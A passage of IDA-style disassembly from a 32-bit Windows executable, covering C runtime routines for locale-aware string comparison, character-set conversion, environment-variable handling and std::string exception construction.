loc_415A15: ; CODE XREF: sub_4159B0+57j push esi push [ebp+arg_0] call sub_415790 pop ecx pop ecx xor ecx, ecx loc_415A22: ; CODE XREF: sub_4159B0+49j cmp [ebp+arg_4], ecx jnz short loc_4159EA pop edi pop esi loc_415A29: ; CODE XREF: sub_4159B0+14j ; sub_4159B0+36j pop ebx leave retn sub_4159B0 endp ; =============== S U B R O U T I N E ======================================= sub_415A2C proc near ; CODE XREF: sub_4155CD+8Bp ; sub_4155CD+D9p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push esi cmp eax, dword_480D40 jnb short loc_415A93 mov ecx, eax and eax, 1Fh sar ecx, 5 mov ecx, dword_480C40[ecx*4] lea edx, [ecx+eax*8+4] mov cl, [ecx+eax*8+4] test cl, 1 jz short loc_415A93 mov al, cl mov esi, 8000h and eax, 80h cmp [esp+4+arg_4], esi jnz short loc_415A6C and cl, 7Fh jmp short loc_415A79 ; --------------------------------------------------------------------------- loc_415A6C: ; CODE XREF: sub_415A2C+39j cmp [esp+4+arg_4], 4000h jnz short loc_415A87 or cl, 80h loc_415A79: ; CODE XREF: sub_415A2C+3Ej neg eax sbb eax, eax mov [edx], cl and ax, 0C000h add eax, esi pop esi retn ; --------------------------------------------------------------------------- loc_415A87: ; CODE XREF: sub_415A2C+48j mov dword_47F914, 16h jmp short loc_415A9D ; --------------------------------------------------------------------------- loc_415A93: ; CODE XREF: sub_415A2C+Bj ; sub_415A2C+27j mov dword_47F914, 9 loc_415A9D: ; CODE XREF: sub_415A2C+65j or eax, 0FFFFFFFFh pop esi retn sub_415A2C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415AA2 proc near ; CODE XREF: sub_415713+5Ep ; sub_415F7E+18p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp cmp [ebp+arg_8], 0 jnz short loc_415AAF xor eax, eax pop ebp retn ; --------------------------------------------------------------------------- loc_415AAF: ; CODE XREF: sub_415AA2+7j push dword_480D44 push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_8] push [ebp+arg_0] push 1 push dword_480F64 call sub_415B4F add esp, 1Ch test eax, eax jnz short loc_415ADC mov eax, 7FFFFFFFh pop ebp retn ; --------------------------------------------------------------------------- loc_415ADC: ; CODE XREF: sub_415AA2+31j add eax, 0FFFFFFFEh pop ebp retn sub_415AA2 endp ; =============== S U B R O U T I N E ======================================= sub_415AE1 proc near ; CODE XREF: sub_415713+1Ep ; sub_415DF7+5Bp var_4 = dword ptr -4 push ecx push ebx push ebp push esi mov esi, dword_47F944 push edi xor edi, edi mov eax, [esi] cmp eax, edi jz short loc_415B42 mov ebx, dword_4170C0 loc_415AFA: ; CODE XREF: sub_415AE1+5Fj push edi push edi push edi push edi push 0FFFFFFFFh push eax push edi push 1 call ebx ; WideCharToMultiByte mov ebp, eax cmp ebp, edi jz short loc_415B4A push ebp call sub_40B6BF cmp eax, edi pop ecx mov [esp+14h+var_4], eax jz short loc_415B4A push edi push edi push ebp push eax push 0FFFFFFFFh push dword ptr [esi] push edi push 1 call ebx ; WideCharToMultiByte test eax, eax jz short loc_415B4A push edi push [esp+18h+var_4] call sub_415DF7 mov eax, [esi+4] add esi, 4 pop ecx cmp eax, edi pop ecx jnz short loc_415AFA loc_415B42: ; CODE XREF: sub_415AE1+11j xor eax, eax loc_415B44: ; CODE XREF: sub_415AE1+6Cj pop edi pop esi pop ebp pop ebx pop ecx retn ; --------------------------------------------------------------------------- loc_415B4A: ; CODE XREF: sub_415AE1+29j ; sub_415AE1+38j ... or eax, 0FFFFFFFFh jmp short loc_415B44 sub_415AE1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415B4F proc near ; CODE XREF: sub_415AA2+27p var_3C = dword ptr -3Ch var_36 = byte ptr -36h var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_417C10 push offset sub_412F2C mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 30h push ebx push esi push edi mov [ebp+var_18], esp xor ebx, ebx cmp dword_47FC00, ebx push 1 pop edi jnz short loc_415BC2 push edi mov eax, offset dword_417860 push eax push edi push eax push ebx push ebx call dword_417008 ; CompareStringW test eax, eax jz short loc_415B9F mov dword_47FC00, edi jmp short loc_415BC2 ; --------------------------------------------------------------------------- loc_415B9F: ; CODE XREF: sub_415B4F+46j push edi mov eax, offset dword_42226C push eax push edi push eax push ebx push ebx call dword_41700C ; CompareStringA test eax, eax jz loc_415DB8 mov dword_47FC00, 2 loc_415BC2: ; CODE XREF: sub_415B4F+31j ; sub_415B4F+4Ej mov esi, [ebp+arg_C] cmp esi, ebx jle short loc_415BD9 push esi push [ebp+arg_8] call sub_415DCC pop ecx pop ecx mov esi, eax mov [ebp+arg_C], esi loc_415BD9: ; CODE XREF: sub_415B4F+78j cmp [ebp+arg_14], ebx jle short loc_415BEE push [ebp+arg_14] push [ebp+arg_10] call sub_415DCC pop ecx pop ecx mov [ebp+arg_14], eax loc_415BEE: ; CODE XREF: sub_415B4F+8Dj mov eax, dword_47FC00 cmp eax, 2 jnz short loc_415C13 push [ebp+arg_14] push [ebp+arg_10] push esi push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call dword_41700C ; CompareStringA jmp loc_415DBA ; --------------------------------------------------------------------------- loc_415C13: ; CODE XREF: sub_415B4F+A7j cmp eax, edi jnz loc_415DB8 cmp [ebp+arg_18], ebx jnz short loc_415C28 mov eax, dword_47F9B4 mov [ebp+arg_18], eax loc_415C28: ; CODE XREF: sub_415B4F+CFj cmp esi, ebx jz short loc_415C35 cmp [ebp+arg_14], ebx jnz loc_415CCD loc_415C35: ; CODE XREF: sub_415B4F+DBj cmp esi, [ebp+arg_14] jnz short loc_415C42 loc_415C3A: ; CODE XREF: sub_415B4F+13Cj ; sub_415B4F+16Dj push 2 loc_415C3C: ; CODE XREF: sub_415B4F+146j pop eax jmp loc_415DBA ; --------------------------------------------------------------------------- loc_415C42: ; CODE XREF: sub_415B4F+E9j cmp [ebp+arg_14], edi jle short loc_415C4E loc_415C47: ; CODE XREF: sub_415B4F+151j ; sub_415B4F+159j ... mov eax, edi jmp loc_415DBA ; --------------------------------------------------------------------------- loc_415C4E: ; CODE XREF: sub_415B4F+F6j cmp esi, edi jg short loc_415C93 lea eax, [ebp+var_3C] push eax push [ebp+arg_18] call dword_417154 ; GetCPInfo test eax, eax jz loc_415DB8 cmp esi, ebx jle short loc_415C97 cmp [ebp+var_3C], 2 jb short loc_415C93 lea eax, [ebp+var_36] cmp [ebp+var_36], bl jz short loc_415C93 loc_415C79: ; CODE XREF: sub_415B4F+142j mov dl, [eax+1] cmp dl, bl jz short loc_415C93 mov ecx, [ebp+arg_8] mov cl, [ecx] cmp cl, [eax] jb short loc_415C8D cmp cl, dl jbe short loc_415C3A loc_415C8D: ; CODE XREF: sub_415B4F+138j inc eax inc eax cmp [eax], bl jnz short loc_415C79 loc_415C93: ; CODE XREF: sub_415B4F+101j ; sub_415B4F+120j ... push 3 jmp short loc_415C3C ; --------------------------------------------------------------------------- loc_415C97: ; CODE XREF: sub_415B4F+11Aj cmp [ebp+arg_14], ebx jle short loc_415CCD cmp [ebp+var_3C], 2 jb short loc_415C47 lea eax, [ebp+var_36] cmp [ebp+var_36], bl jz short loc_415C47 loc_415CAA: ; CODE XREF: sub_415B4F+177j mov dl, [eax+1] cmp dl, bl jz short loc_415C47 mov ecx, [ebp+arg_10] mov cl, [ecx] cmp cl, [eax] jb short loc_415CC2 cmp cl, dl jbe loc_415C3A loc_415CC2: ; CODE XREF: sub_415B4F+169j inc eax inc eax cmp [eax], bl jnz short loc_415CAA jmp loc_415C47 ; --------------------------------------------------------------------------- loc_415CCD: ; CODE XREF: sub_415B4F+E0j ; sub_415B4F+14Bj push ebx push ebx push esi push [ebp+arg_8] push 9 push [ebp+arg_18] call dword_4170C4 ; MultiByteToWideChar mov [ebp+var_1C], eax cmp eax, ebx jz loc_415DB8 mov [ebp+var_4], ebx add eax, eax add eax, 3 and al, 0FCh call sub_40B690 mov [ebp+var_18], esp mov eax, esp mov [ebp+var_24], eax or [ebp+var_4], 0FFFFFFFFh jmp short loc_415D1C ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor ebx, ebx mov [ebp+var_24], ebx or [ebp+var_4], 0FFFFFFFFh mov esi, [ebp+arg_C] push 1 pop edi loc_415D1C: ; CODE XREF: sub_415B4F+1B5j cmp [ebp+var_24], ebx jz loc_415DB8 push [ebp+var_1C] push [ebp+var_24] push esi push [ebp+arg_8] push edi push [ebp+arg_18] mov esi, dword_4170C4 call esi ; MultiByteToWideChar test eax, eax jz short loc_415DB8 push ebx push ebx push [ebp+arg_14] push [ebp+arg_10] push 9 push [ebp+arg_18] call esi ; MultiByteToWideChar mov esi, eax mov [ebp+var_20], esi cmp esi, ebx jz short loc_415DB8 mov [ebp+var_4], edi lea eax, [esi+esi] add eax, 3 and al, 0FCh call sub_40B690 mov [ebp+var_18], esp mov edi, esp mov [ebp+var_28], edi or [ebp+var_4], 0FFFFFFFFh jmp short loc_415D87 ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor ebx, ebx xor edi, edi or [ebp+var_4], 0FFFFFFFFh mov esi, [ebp+var_20] loc_415D87: ; CODE XREF: sub_415B4F+224j cmp edi, ebx jz short loc_415DB8 push esi push edi push [ebp+arg_14] push [ebp+arg_10] push 1 push [ebp+arg_18] call dword_4170C4 ; MultiByteToWideChar test eax, eax jz short loc_415DB8 push esi push edi push [ebp+var_1C] push [ebp+var_24] push [ebp+arg_4] push [ebp+arg_0] call dword_417008 ; CompareStringW jmp short loc_415DBA ; --------------------------------------------------------------------------- loc_415DB8: ; CODE XREF: sub_415B4F+63j ; sub_415B4F+C6j ... xor eax, eax loc_415DBA: ; CODE XREF: sub_415B4F+BFj ; sub_415B4F+EEj ... lea esp, [ebp-4Ch] mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_415B4F endp ; =============== S U B R O U T I N E ======================================= sub_415DCC proc near ; CODE XREF: sub_411E1B+81p ; sub_415B4F+7Ep ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov edx, [esp+arg_4] mov eax, [esp+arg_0] test edx, edx push esi lea ecx, [edx-1] jz short loc_415DE9 loc_415DDC: ; CODE XREF: sub_415DCC+1Bj cmp byte ptr [eax], 0 jz short loc_415DE9 inc eax mov esi, ecx dec ecx test esi, esi jnz short loc_415DDC loc_415DE9: ; CODE XREF: sub_415DCC+Ej ; sub_415DCC+13j cmp byte ptr [eax], 0 pop esi jnz short loc_415DF4 sub eax, [esp+arg_0] retn ; --------------------------------------------------------------------------- loc_415DF4: ; CODE XREF: sub_415DCC+21j mov eax, edx retn sub_415DCC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415DF7 proc near ; CODE XREF: sub_415AE1+50p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx push ebx push esi push edi xor edi, edi cmp [ebp+arg_0], edi jz short loc_415E5B push 3Dh push [ebp+arg_0] call sub_41603D mov esi, eax pop ecx cmp esi, edi pop ecx mov [ebp+var_8], esi jz short loc_415E5B cmp [ebp+arg_0], esi jz short loc_415E5B mov eax, dword_47F93C xor ebx, ebx cmp [esi+1], bl setz bl cmp eax, dword_47F940 jnz short loc_415E41 push eax call sub_415FD6 pop ecx mov dword_47F93C, eax loc_415E41: ; CODE XREF: sub_415DF7+3Cj cmp eax, edi jnz short loc_415E99 cmp [ebp+arg_4], edi jz short loc_415E63 cmp dword_47F944, edi jz short loc_415E63 call sub_415AE1 test eax, eax jz short loc_415E99 loc_415E5B: ; CODE XREF: sub_415DF7+Dj ; sub_415DF7+22j ... or eax, 0FFFFFFFFh loc_415E5E: ; CODE XREF: sub_415DF7+182j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_415E63: ; CODE XREF: sub_415DF7+51j ; sub_415DF7+59j cmp ebx, edi jnz loc_415F77 push 4 call sub_40B6BF cmp eax, edi pop ecx mov dword_47F93C, eax jz short loc_415E5B mov [eax], edi cmp dword_47F944, edi jnz short loc_415E99 push 4 call sub_40B6BF cmp eax, edi pop ecx mov dword_47F944, eax jz short loc_415E5B mov [eax], edi loc_415E99: ; CODE XREF: sub_415DF7+4Cj ; sub_415DF7+62j ... sub esi, [ebp+arg_0] mov edi, dword_47F93C mov [ebp+var_4], edi push esi push [ebp+arg_0] call sub_415F7E mov esi, eax pop ecx test esi, esi pop ecx jl short loc_415EF9 cmp dword ptr [edi], 0 jz short loc_415EF9 test ebx, ebx jz short loc_415EF1 push dword ptr [edi+esi*4] lea edi, [edi+esi*4] call sub_40B771 pop ecx loc_415ECB: ; CODE XREF: sub_415DF7+E2j cmp dword ptr [edi], 0 jz short loc_415EDB mov eax, [edi+4] inc esi mov [edi], eax add edi, 4 jmp short loc_415ECB ; --------------------------------------------------------------------------- loc_415EDB: ; CODE XREF: sub_415DF7+D7j mov eax, esi shl eax, 2 push eax push [ebp+var_4] call sub_40C4F8 pop ecx test eax, eax pop ecx jz short loc_415F2B jmp short loc_415F26 ; --------------------------------------------------------------------------- loc_415EF1: ; CODE XREF: sub_415DF7+C6j mov eax, [ebp+arg_0] mov [edi+esi*4], eax jmp short loc_415F2B ; --------------------------------------------------------------------------- loc_415EF9: ; CODE XREF: sub_415DF7+BDj ; sub_415DF7+C2j test ebx, ebx jnz short loc_415F77 test esi, esi jge short loc_415F03 neg esi loc_415F03: ; CODE XREF: sub_415DF7+108j lea eax, ds:8[esi*4] push eax push edi call sub_40C4F8 pop ecx test eax, eax pop ecx jz loc_415E5B mov ecx, [ebp+arg_0] mov [eax+esi*4], ecx and dword ptr [eax+esi*4+4], 0 loc_415F26: ; CODE XREF: sub_415DF7+F8j mov dword_47F93C, eax loc_415F2B: ; CODE XREF: sub_415DF7+F6j ; sub_415DF7+100j cmp [ebp+arg_4], 0 jz short loc_415F77 push [ebp+arg_0] call sub_40B5B0 inc eax inc eax push eax call sub_40B6BF mov esi, eax pop ecx test esi, esi pop ecx jz short loc_415F77 push [ebp+arg_0] push esi call sub_40CD70 mov eax, esi pop ecx sub eax, [ebp+arg_0] pop ecx add eax, [ebp+var_8] and byte ptr [eax], 0 inc eax neg ebx sbb ebx, ebx not ebx and ebx, eax push ebx push esi call dword_417004 ; SetEnvironmentVariableA push esi call sub_40B771 pop ecx loc_415F77: ; CODE XREF: sub_415DF7+6Ej ; sub_415DF7+104j ... xor eax, eax jmp loc_415E5E sub_415DF7 endp ; =============== S U B R O U T I N E ======================================= sub_415F7E proc near ; CODE XREF: sub_415DF7+B2p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, dword_47F93C push edi mov eax, [esi] test eax, eax jz short loc_415FB9 mov edi, [esp+8+arg_4] loc_415F90: ; CODE XREF: sub_415F7E+39j push edi push eax push [esp+10h+arg_0] call sub_415AA2 add esp, 0Ch test eax, eax jnz short loc_415FAF mov eax, [esi] mov al, [eax+edi] cmp al, 3Dh jz short loc_415FC9 test al, al jz short loc_415FC9 loc_415FAF: ; CODE XREF: sub_415F7E+22j mov eax, [esi+4] add esi, 4 test eax, eax jnz short loc_415F90 loc_415FB9: ; CODE XREF: sub_415F7E+Cj mov eax, esi sub eax, dword_47F93C sar eax, 2 neg eax loc_415FC6: ; CODE XREF: sub_415F7E+56j pop edi pop esi retn ; --------------------------------------------------------------------------- loc_415FC9: ; CODE XREF: sub_415F7E+2Bj ; sub_415F7E+2Fj mov eax, esi sub eax, dword_47F93C sar eax, 2 jmp short loc_415FC6 sub_415F7E endp ; =============== S U B R O U T I N E ======================================= sub_415FD6 proc near ; CODE XREF: sub_415DF7+3Fp arg_0 = dword ptr 4 push edi mov edi, [esp+4+arg_0] xor ecx, ecx test edi, edi jnz short loc_415FE5 xor eax, eax pop edi retn ; --------------------------------------------------------------------------- loc_415FE5: ; CODE XREF: sub_415FD6+9j cmp dword ptr [edi], 0 lea eax, [edi+4] jz short loc_415FF7 loc_415FED: ; CODE XREF: sub_415FD6+1Fj mov edx, [eax] inc ecx add eax, 4 test edx, edx jnz short loc_415FED loc_415FF7: ; CODE XREF: sub_415FD6+15j push ebx push ebp lea eax, ds:4[ecx*4] push esi push eax call sub_40B6BF mov esi, eax pop ecx test esi, esi mov ebp, esi jnz short loc_416018 push 9 call sub_40D60A pop ecx loc_416018: ; CODE XREF: sub_415FD6+38j mov eax, [edi] mov ebx, edi loc_41601C: ; CODE XREF: sub_415FD6+5Bj test eax, eax jz short loc_416033 push eax add ebx, 4 call sub_4160B0 mov [esi], eax mov eax, [ebx] pop ecx add esi, 4 jmp short loc_41601C ; --------------------------------------------------------------------------- loc_416033: ; CODE XREF: sub_415FD6+48j and dword ptr [esi], 0 mov eax, ebp pop esi pop ebp pop ebx pop edi retn sub_415FD6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41603D proc near ; CODE XREF: sub_415DF7+14p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp cmp dword_480D5C, 0 jnz short loc_416058 push [ebp+arg_4] push [ebp+arg_0] call sub_40CFC0 pop ecx pop ecx pop ebp retn ; --------------------------------------------------------------------------- loc_416058: ; CODE XREF: sub_41603D+Aj mov ecx, [ebp+arg_0] loc_41605B: ; CODE XREF: sub_41603D+56j movzx ax, byte ptr [ecx] test ax, ax jz short loc_41609E movzx edx, al test byte_480E61[edx], 4 jz short loc_41608A mov dl, [ecx+1] inc ecx test dl, dl jz short loc_416095 movzx eax, ax movzx edx, dl shl eax, 8 or eax, edx cmp [ebp+arg_4], eax jz short loc_416099 jmp short loc_416092 ; --------------------------------------------------------------------------- loc_41608A: ; CODE XREF: sub_41603D+31j movzx edx, ax cmp [ebp+arg_4], edx jz short loc_41609E loc_416092: ; CODE XREF: sub_41603D+4Bj inc ecx jmp short loc_41605B ; --------------------------------------------------------------------------- loc_416095: ; CODE XREF: sub_41603D+39j xor eax, eax pop ebp retn ; --------------------------------------------------------------------------- loc_416099: ; CODE XREF: sub_41603D+49j lea eax, [ecx-1] pop ebp retn ; --------------------------------------------------------------------------- loc_41609E: ; CODE XREF: sub_41603D+25j ; sub_41603D+53j movzx edx, ax mov eax, [ebp+arg_4] sub eax, edx neg eax sbb eax, eax not eax and eax, ecx pop ebp retn sub_41603D endp ; =============== S U B R O U T I N E ======================================= sub_4160B0 proc near ; CODE XREF: sub_405185+21p ; sub_415FD6+4Ep arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] test esi, esi jz short loc_4160D7 push esi call sub_40B5B0 inc eax push eax call sub_40B6BF pop ecx test eax, eax pop ecx jz short loc_4160D7 push esi push eax call sub_40CD70 pop ecx pop ecx pop esi retn ; --------------------------------------------------------------------------- loc_4160D7: ; CODE XREF: sub_4160B0+7j ; sub_4160B0+1Aj xor eax, eax pop esi retn sub_4160B0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_4160E0 proc near ; CODE XREF: sub_40258B+12p ; sub_4025E5+12p ... mov eax, offset loc_4165D4 call sub_40BDC8 sub esp, 30h mov al, [ebp-0Dh] push esi push 0 lea ecx, [ebp-20h] mov [ebp-20h], al call sub_402790 mov esi, offset aStringTooLong ; "string too long" push esi call sub_40B5B0 pop ecx push eax push esi lea ecx, [ebp-20h] call sub_4027C8 and dword ptr [ebp-4], 0 lea eax, [ebp-20h] push eax lea ecx, [ebp-3Ch] call sub_41613A lea eax, [ebp-3Ch] push offset dword_417F68 push eax mov dword ptr [ebp-3Ch], offset off_417C2C call sub_41653B pop esi sub_4160E0 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_41613A proc near ; CODE XREF: sub_4160E0+3Fp ; sub_41630C+3Fp mov eax, offset loc_4165E8 call sub_40BDC8 push ecx push ecx push ebx push esi lea eax, [ebp-10h] push edi mov esi, ecx push eax mov [ebp-14h], esi mov dword ptr [ebp-10h], offset byte_422270 call sub_416460 mov ebx, [ebp+8] and dword ptr [ebp-4], 0 lea edi, [esi+0Ch] push 0 mov al, [ebx] mov ecx, edi mov [edi], al call sub_402790 push dword_417C58 mov ecx, edi push 0 push ebx call sub_40263D mov ecx, [ebp-0Ch] mov dword ptr [esi], offset off_417C4C mov eax, esi pop edi pop esi pop ebx mov large fs:0, ecx leave retn 4 sub_41613A endp ; =============== S U B R O U T I N E ======================================= sub_41619E proc near ; DATA XREF: .nsp0:00417C30o ; .nsp0:00417C50o ... mov eax, [ecx+10h] test eax, eax jnz short locret_4161AA mov eax, offset dword_417218 locret_4161AA: ; CODE XREF: sub_41619E+5j retn sub_41619E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4161AB proc near ; DATA XREF: .nsp0:00417C54o var_1C = byte ptr -1Ch push ebp mov ebp, esp sub esp, 1Ch push ecx lea ecx, [ebp+var_1C] call sub_416221 lea eax, [ebp+var_1C] push offset dword_417FD8 push eax call sub_41653B sub_4161AB endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_4161C8 proc near ; CODE XREF: .nsp0:00416208p ; DATA XREF: .nsp0:00417FDCo mov eax, offset loc_4165FC call sub_40BDC8 push ecx push esi mov esi, ecx mov [ebp-10h], esi mov dword ptr [esi], offset off_417C4C and dword ptr [ebp-4], 0 push 1 lea ecx, [esi+0Ch] call sub_402790 or dword ptr [ebp-4], 0FFFFFFFFh mov ecx, esi call sub_4164E7 mov ecx, [ebp-0Ch] pop esi mov large fs:0, ecx leave retn sub_4161C8 endp ; --------------------------------------------------------------------------- loc_416205: ; DATA XREF: .nsp0:off_417C4Co push esi mov esi, ecx call sub_4161C8 test byte ptr [esp+8], 1 jz short loc_41621B push esi call sub_40BE38 pop ecx loc_41621B: ; CODE XREF: .nsp0:00416212j mov eax, esi pop esi retn 4 ; =============== S U B R O U T I N E ======================================= sub_416221 proc near ; CODE XREF: sub_4161AB+Ap ; sub_4162F4+7p ... mov eax, offset loc_416610 call sub_40BDC8 push ecx push ebx mov ebx, [ebp+8] push esi push edi mov esi, ecx push ebx mov [ebp-10h], esi call sub_41649D mov al, [ebx+0Ch] and dword ptr [ebp-4], 0 add ebx, 0Ch lea edi, [esi+0Ch] push 0 mov ecx, edi mov [edi], al call sub_402790 push dword_417C58 mov ecx, edi push 0 push ebx call sub_40263D mov ecx, [ebp-0Ch] mov dword ptr [esi], offset off_417C4C mov eax, esi pop edi pop esi pop ebx mov large fs:0, ecx leave retn 4 sub_416221 endp ; =============== S U B R O U T I N E ======================================= sub_41627E proc near ; CODE XREF: sub_4162BB+20p ; DATA XREF: .nsp0:00417F6Co mov eax, offset loc_416624 call sub_40BDC8 push ecx push esi mov esi, ecx mov [ebp-10h], esi mov dword ptr [esi], offset off_417C4C and dword ptr [ebp-4], 0 push 1 lea ecx, [esi+0Ch] call sub_402790 or dword ptr [ebp-4], 0FFFFFFFFh mov ecx, esi call sub_4164E7 mov ecx, [ebp-0Ch] pop esi mov large fs:0, ecx leave retn sub_41627E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4162BB proc near ; DATA XREF: .nsp0:00417C34o var_1C = byte ptr -1Ch var_18 = byte ptr -18h push ebp mov ebp, esp sub esp, 1Ch push ecx lea ecx, [ebp+var_1C] call sub_4162F4 lea eax, [ebp+var_1C] push offset dword_417F68 push eax call sub_41653B loc_4162D8: ; DATA XREF: .nsp0:off_417C2Co push esi mov esi, ecx call sub_41627E test [esp+20h+var_18], 1 jz short loc_4162EE push esi call sub_40BE38 pop ecx loc_4162EE: ; CODE XREF: sub_4162BB+2Aj mov eax, esi pop esi retn 4 sub_4162BB endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_4162F4 proc near ; CODE XREF: sub_4162BB+Ap arg_0 = dword ptr 4 push esi mov esi, ecx push [esp+4+arg_0] call sub_416221 mov dword ptr [esi], offset off_417C2C mov eax, esi pop esi retn 4 sub_4162F4 endp ; =============== S U B R O U T I N E ======================================= sub_41630C proc near ; CODE XREF: sub_40263D+13p ; sub_4027FD+Ep mov eax, offset loc_416638 call sub_40BDC8 sub esp, 30h mov al, [ebp-0Dh] push esi push 0 lea ecx, [ebp-20h] mov [ebp-20h], al call sub_402790 mov esi, offset aInvalidStringP ; "invalid string position" push esi call sub_40B5B0 pop ecx push eax push esi lea ecx, [ebp-20h] call sub_4027C8 and dword ptr [ebp-4], 0 lea eax, [ebp-20h] push eax lea ecx, [ebp-3Ch] call sub_41613A lea eax, [ebp-3Ch] push offset dword_418090 push eax mov dword ptr [ebp-3Ch], offset off_417C60 call sub_41653B pop esi sub_41630C endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_416366 proc near ; CODE XREF: sub_4163A3+20p ; DATA XREF: .nsp0:00418094o mov eax, offset loc_41664C call sub_40BDC8 push ecx push esi mov esi, ecx mov [ebp-10h], esi mov dword ptr [esi], offset off_417C4C and dword ptr [ebp-4], 0 push 1 lea ecx, [esi+0Ch] call sub_402790 or dword ptr [ebp-4], 0FFFFFFFFh mov ecx, esi call sub_4164E7 mov ecx, [ebp-0Ch] pop esi mov large fs:0, ecx leave retn sub_416366 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4163A3 proc near ; DATA XREF: .nsp0:00417C68o var_1C = byte ptr -1Ch var_18 = byte ptr -18h push ebp mov ebp, esp sub esp, 1Ch push ecx lea ecx, [ebp+var_1C] call sub_4163DC lea eax, [ebp+var_1C] push offset dword_418090 push eax call sub_41653B loc_4163C0: ; DATA XREF: .nsp0:off_417C60o push esi mov esi, ecx call sub_416366 test [esp+20h+var_18], 1 jz short loc_4163D6 push esi call sub_40BE38 pop ecx loc_4163D6: ; CODE XREF: sub_4163A3+2Aj mov eax, esi pop esi retn 4 sub_4163A3 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_4163DC proc near ; CODE XREF: sub_4163A3+Ap arg_0 = dword ptr 4 push esi mov esi, ecx push [esp+4+arg_0] call sub_416221 mov dword ptr [esi], offset off_417C60 mov eax, esi pop esi retn 4 sub_4163DC endp ; =============== S U B R O U T I N E ======================================= sub_4163F4 proc near ; DATA XREF: .nsp0:00419008o ; FUNCTION CHUNK AT 0041642A SIZE 0000000C BYTES test byte_47FC04, 1 jnz short loc_416404 or byte_47FC04, 1 loc_416404: ; CODE XREF: sub_4163F4+7j call sub_41641E test byte_480FA0, 1 jnz short loc_416419 or byte_480FA0, 1 loc_416419: ; CODE XREF: sub_4163F4+1Cj jmp loc_41642A sub_4163F4 endp ; =============== S U B R O U T I N E ======================================= sub_41641E proc near ; CODE XREF: sub_4163F4:loc_416404p push offset nullsub_1 call sub_40C200 pop ecx retn sub_41641E endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4163F4 loc_41642A: ; CODE XREF: sub_4163F4:loc_416419j push offset nullsub_1 call sub_40C200 pop ecx retn ; END OF FUNCTION CHUNK FOR sub_4163F4 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND] align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416438 proc near ; CODE XREF: sub_401F1D+5Ep ; sub_403E11+157p jmp dword_4171B4 sub_416438 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_41643E proc near ; CODE XREF: sub_40BA34+23p ; sub_40BCD8+13p jmp dword_41710C sub_41643E endp ; =============== S U B R O U T I N E ======================================= sub_416444 proc near ; DATA XREF: .nsp0:off_417C88o arg_0 = byte ptr 4 push esi mov esi, ecx call sub_4164E7 test [esp+4+arg_0], 1 jz short loc_41645A push esi call sub_40BE38 pop ecx loc_41645A: ; CODE XREF: sub_416444+Dj mov eax, esi pop esi retn 4 sub_416444 endp ; =============== S U B R O U T I N E ======================================= sub_416460 proc near ; CODE XREF: sub_41613A+1Fp arg_0 = dword ptr 4 push esi push edi mov edi, [esp+8+arg_0] mov esi, ecx mov dword ptr [esi], offset off_417C88 push dword ptr [edi] call sub_40B5B0 inc eax push eax call sub_40C185 pop ecx mov [esi+4], eax test eax, eax pop ecx jz short loc_41648F push dword ptr [edi] push eax call sub_40CD70 pop ecx pop ecx loc_41648F: ; CODE XREF: sub_416460+23j mov dword ptr [esi+8], 1 mov eax, esi pop edi pop esi retn 4 sub_416460 endp ; =============== S U B R O U T I N E ======================================= sub_41649D proc near ; CODE XREF: sub_416221+17p arg_0 = dword ptr 4 push esi push edi mov edi, [esp+8+arg_0] mov esi, ecx mov dword ptr [esi], offset off_417C88 mov eax, [edi+8] test eax, eax mov [esi+8], eax jz short loc_4164DA push dword ptr [edi+4] call sub_40B5B0 inc eax push eax call sub_40C185 pop ecx mov [esi+4], eax test eax, eax pop ecx jz short loc_4164E0 push dword ptr [edi+4] push eax call sub_40CD70 pop ecx pop ecx jmp short loc_4164E0 ; --------------------------------------------------------------------------- loc_4164DA: ; CODE XREF: sub_41649D+16j mov eax, [edi+4] mov [esi+4], eax loc_4164E0: ; CODE XREF: sub_41649D+2Ej ; sub_41649D+3Bj mov eax, esi pop 